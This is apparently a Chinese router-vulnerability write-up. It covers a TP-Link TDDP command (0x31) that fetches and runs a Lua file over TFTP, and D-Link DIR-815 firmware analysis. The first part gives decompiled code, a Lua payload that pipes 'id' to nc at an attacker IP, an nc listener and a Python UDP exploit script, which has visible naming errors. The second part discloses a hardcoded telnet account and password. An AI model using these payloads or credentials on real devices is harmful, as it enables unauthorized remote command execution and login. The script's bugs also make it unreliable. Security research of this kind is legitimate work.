printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", "tddp_parserVerOneOpt", 702);
*(_DWORD *)(a1 + 44) &= ~1u;
v9 = 0;
break;
case 0xA:
printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", "tddp_parserVerOneOpt", 643);
v9 = sub_9C24(a1);
break;
case 0xC:
printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", "tddp_parserVerOneOpt", 615);
if ( a1 && (*(_DWORD *)(a1 + 44) & 2) != 0 )
{
*(_BYTE *)(v7 + 1) = 4;
*(_BYTE *)(v7 + 3) = 0;
*(_BYTE *)(v7 + 2) = 1;
*(_DWORD *)(v7 + 4) = htonl(0);
v2 = ((unsigned __int8)v8[9] << 8) | (unsigned __int8)v8[8];
*(_BYTE *)(v7 + 8) = v8[8];
*(_BYTE *)(v7 + 9) = HIBYTE(v2);
v9 = 0;
}
else
{
*(_DWORD *)(a1 + 44) &= ~1u;
v9 = -10411;
}
break;
case 0xD:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", "tddp_parserVerOneOpt", 682);
v9 = sub_A97C(a1);
break;
case 0x30:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", "tddp_parserVerOneOpt", 687);
v9 = sub_A3C8(a1);
break;
case 0x31: //漏洞点
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
v9 = sub_A580(a1);
break;
default:
printf(
"[%s():%d] TDDPv1: receive unknown type: %d\n",
"tddp_parserVerOneOpt",
713,
*(unsigned __int8 *)(a1 + 45084));
*(_BYTE *)(v7 + 1) = v8[1];
*(_BYTE *)(v7 + 3) = 2;
*(_BYTE *)(v7 + 2) = 2;
*(_DWORD *)(v7 + 4) = htonl(0);
v3 = ((unsigned __int8)v8[9] << 8) | (unsigned __int8)v8[8];
*(_BYTE *)(v7 + 8) = v8[8];
*(_BYTE *)(v7 + 9) = HIBYTE(v3);
v9 = -10302;
break;
}
*a2 = ntohl((*(unsigned __int8 *)(v7 + 7) << 24) | (*(unsigned __int8 *)(v7 + 6) << 16) | (*(unsigned __int8 *)(v7 + 5) << 8) | *(unsigned __int8 *)(v7 + 4))
+ 12;
return v9;
}

查看漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int __fastcall sub_A580(int a1)
{
void *v1; // r0
__int16 v2; // r2
int v3; // r3
int v4; // r3
__int64 v5; // r0
char name[64]; // [sp+8h] [bp-E4h] BYREF
_BYTE v10[64]; // [sp+48h] [bp-A4h] BYREF
char s[64]; // [sp+88h] [bp-64h] BYREF
int v12; // [sp+C8h] [bp-24h]
_BYTE *v13; // [sp+CCh] [bp-20h]
int v14; // [sp+D0h] [bp-1Ch]
int v15; // [sp+D4h] [bp-18h]
char *v16; // [sp+D8h] [bp-14h]
int v17; // [sp+DCh] [bp-10h]
int v18; // [sp+E0h] [bp-Ch]
char *v19; // [sp+E4h] [bp-8h]

v18 = 1;
v17 = 4;
memset(s, 0, sizeof(s));
memset(v10, 0, sizeof(v10));
v1 = memset(name, 0, sizeof(name));
v16 = 0;
v15 = luaL_newstate(v1);
v19 = (char *)(a1 + 45083);
v14 = a1 + 82;
v13 = (_BYTE *)(a1 + 45083);
v12 = a1 + 82;
*(_BYTE *)(a1 + 83) = 49;
*(_DWORD *)(v12 + 4) = htonl(0);
*(_BYTE *)(v12 + 2) = 2;
v2 = ((unsigned __int8)v13[9] << 8) | (unsigned __int8)v13[8];
v3 = v12;
*(_BYTE *)(v12 + 8) = v13[8];
*(_BYTE *)(v3 + 9) = HIBYTE(v2);
if ( *v13 == 1 )
{
v19 += 12;
v14 += 12;
}
else
{
v19 += 28;
v14 += 28;
}
if ( !v19 )
goto LABEL_20;
sscanf(v19, "%[^;];%s", s, v10);
if ( !s[0] || !v10[0] )
{
printf("[%s():%d] luaFile or configFile len error.\n", "tddp_cmd_configSet", 555);
LABEL_20:
*(_BYTE *)(v12 + 3) = 3;
return sub_13018(-10303, "config set failed");
}
v16 = inet_ntoa(*(struct in_addr *)(a1 + 4));
sub_91DC("cd /tmp;tftp -gr %s %s &", s, v16); //进入/tmp目录 执行tftp 并从连接TFTP服务器上下载文件
sprintf(name, "/tmp/%s", s);
while ( v17 > 0 )
{
sleep(1u);
if ( !access(name, 0) )
break;
--v17;
}
if ( !v17 )
{
printf("[%s():%d] lua file [%s] don't exsit.\n", "tddp_cmd_configSet", 574, name);
goto LABEL_20;
}
if ( v15 )
{
luaL_openlibs(v15);
v4 = luaL_loadfile(v15, name);
if ( !v4 )
v4 = lua_pcall(v15, 0, -1, 0);
lua_getfield(v15, -10002, "config_test", v4);
lua_pushstring(v15, v10);
lua_pushstring(v15, v16);
lua_call(v15, 2, 1);
v5 = lua_tonumber(v15, -1);
v18 = sub_16EC4(v5, HIDWORD(v5));
lua_settop(v15, -2);
}
lua_close(v15);
if ( v18 )
goto LABEL_20;
*(_BYTE *)(v12 + 3) = 0;
return 0;
}

复现该漏洞需要TFTP服务:

1
sudo apt install atftpd

并修改/etc/default/atftpd文件:

1
2
USE_INETD=false
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"

创建/ftfpboot文件夹,权限777,文件夹下创建payload文件,写入以下,其中10.10.10.1为攻击者IP,137为反弹shell的端口。

1
2
3
function config_test(config)
os.execute("id | nc 10.10.10.1 1337")
end

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys,binascii,socket
port_send=1040
port_receive=61000
tddp_ver="01"
tddp_command="31"
tddp_req="01"
tddp_reply="00"
tdpp_padding="%0x16X"%00
tddp_packet="".join([tddp_ver,tddp_command,tddp_req,tddp_reply,tddp_padding])
sock_receive=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock_receive.bind(('',port_receive))
socke_send=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
packet=binascii.unhexlify(tddp_packet)
argument="%s;arbitrary"%sys.argv[2]
packet=packet+argument.encode()
sock_send.sendto(packet,(sys.argv[1],port_send))
sock_send.close()
response,addr=socke_receive.recvfrom(1024)
r=response.encode('hex')
print(r)

监听1337端口:

1
nc -lnvp 1337

固件下载:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/DIR-815_REVA_FIRMWARE_v1.01.ZIP

这个直接解压binwalk会报错,得先安装sasquatch并打补丁:

1
2
3
4
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/47.patch && patch -p1 < 47.patch
sudo ./build.sh

然后解压:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/Desktop]
└─$ binwalk -Me ./dir815_FW_102.bin

Scan Time: 2024-10-17 04:39:46
Target File: /home/kali/Desktop/dir815_FW_102.bin
MD5 Checksum: b2d6476de9b8270255dd6cb6329eb51d
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
108 0x6C LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3017436 bytes
983148 0xF006C PackImg section delimiter tag, little endian size: 8399360 bytes; big endian size: 2785280 bytes
...
983180 0xF008C Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2783169 bytes, 1526 inodes, blocksize: 262144 bytes, created: 2012-01-19 04:03:49


Scan Time: 2024-10-17 04:39:47
Target File: /home/kali/Desktop/_dir815_FW_102.bin.extracted/6C
MD5 Checksum: e9da4a0f342b4fc9956f725fdb46f640
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1227270 0x12BA06 PGP RSA encrypted session key - keyid: 801000 EA RSA Encrypt-Only 1024b
1227374 0x12BA6E PGP RSA encrypted session key - keyid: 801000 EA RSA Encrypt-Only 1024b
2096096 0x1FFBE0 MySQL MISAM compressed data file Version 8
2096332 0x1FFCCC MySQL MISAM compressed data file Version 8
2445344 0x255020 Linux kernel version 2.6.33
2487024 0x25F2F0 CRC32 polynomial table, little endian0
2643904 0x2857C0 Neighborly text, "NeighborSolicitstunnel6 init(): can't add protocol"
2643924 0x2857D4 Neighborly text, "NeighborAdvertisementst add protocol"
2648675 0x286A63 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"

收集文件系统信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Desktop/_dir815_FW_102.bin.extracted]
└─$ python3 /home/kali/Tools/trommel/trommel.py -p squashfs-root -o result.json -d ./





__ __| _ \ _ \ \ | \ | ____| |
| | | | | |\/ | |\/ | __| |
| __ < | | | | | | | |
_| _| \_\\___/ _| _|_| _|_____|_____|



TROMMEL is working to sift through the directory of files.

Results will be saved to 'result.json_TROMMEL_20241017_063143'.

TROMMEL file hashes will be saved to 'result.json_TROMMEL_Hash_Results_20241017_063143'

Based on the binary 'busybox' the instruction set architecture is MIPS.

文件result.json_TROMMEL_20241017_063143中内容部分有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__ __|  _ \   _ \   \  |  \  | ____| |     
| | | | | |\/ | |\/ | __| |
| __ < | | | | | | | |
_| _| \_\\___/ _| _|_| _|_____|_____|

TROMMEL Results File Name: result.json
Directory: squashfs-root
There are 1368 total files within the directory.

Results could be vulnerabilities. These results should be verified as false positives may exist.

Based on the binary 'busybox' the instruction set architecture is MIPS.
The BusyBox binary found is BusyBox v1.14.1 [may need to emulate environment]
...
Non-Plain Text File, telnet binary file: squashfs-root/etc/init0.d/S80telnetd.sh
Non-Plain Text File, telnetd binary file: squashfs-root/etc/init0.d/S80telnetd.sh
Plain Text File, Keyword: 'telnet', File: squashfs-root/etc/init0.d/S80telnetd.sh, Keyword Hits in File: 3
...

找到/etc/init0.d/S80telnetd.sh文件:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fi
else
killall telnetd
fi

可以看到image_sign中的数据在telnetd服务中用作Alphanetworks账户的密码,并启动了telnetd服务。继续跟进/etc/config/image_sign文件:

1
wrgnd08_dlob_dir815

复现时,用账户Alphanetworks和密码wrgnd08_dlob_dir815进行登录Telnet服务,服务端口拿Nmap扫,为23。